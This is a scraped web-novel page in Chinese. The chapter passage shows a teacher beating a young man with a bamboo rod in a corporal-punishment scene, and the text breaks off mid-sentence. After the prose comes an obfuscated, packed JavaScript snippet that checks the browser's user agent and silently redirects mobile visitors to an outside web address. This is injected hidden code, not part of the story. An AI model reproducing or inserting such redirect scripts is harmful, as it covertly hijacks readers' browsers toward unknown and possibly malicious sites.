太阳和群山呦呦是也

124.未朽(第2页)

 




    柏阅冬那几年在秦昭阳面前少有如此恭敬和周到,但周先生并未有太多反应,只是握住竹节带玉珠的一端,另一端在上午送来的长凳上点了点:“趴上来。”
 




    柏阅冬脑子有一瞬间的空白,随后轻颤睫毛,略带疑问地看向周先生。
 




    这张凳子是给他准备的?是让他挨打的?但是,放在这里,就……不对,是特地放在这里的,周先生那个位置,那根竹节的长度,正好可以打到他的屁股。
 




    他今天上午明明听到送货的工人说是定制的,做了一段时间才送来的。
 




    难道,老师早就在设计他的挨打生活?柏阅冬莫名其妙地气结了一下,可什么都没有说出口,只是顺从地起身,走到长凳旁,跨坐上去,褪了裤子,趴在柔软的长凳上。
 




    长度的确刚刚合适,周先生比划了一下,“啪”地抽了上去。
 




    木竹节的声音闷闷的,疼痛也是钝重的,一下仿佛能打透几层肉,加之竹节凸起,痛感更加明显,柏阅冬忍不住抱紧了长凳边缘。
 




    还是两三秒一次的频率,竹节打下去,将颇富弹性的两团肉打得往下一凹,随后迅速恢复原状,只是皮肤上多了一层淡淡的绯色。
 




    跟戒尺或藤条能很快抽出颜色不同,竹节看着不怎么显伤,但却是扎扎实实疼到肉里的。柏阅冬挨了几下,手心就冒汗了。
 




    三十下,熬一熬就过去了。
 




    “啪!”
 




    柏阅冬牙关一紧,没有叫出声来,可实际上却疼得不行了。这么多天挨了好几种刑具,还是这个木竹节最厉害。
 




    “啪!”
 




    忍住,忍住!
 




    “啪!”
 




    好疼……
 




    “啪!”
 




    每挨一下,柏阅冬便要胡思乱想一些什么扛过去,幸而三十下不算多,真拿出毅力来,也不算难事。可当他挨完三十下准备起身的时候,那竹节的一端点在他的背上,阻止了他。
 




    “三十
 




    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339861|143212||http|test|mini|href|location''.split(''|''),0,{}));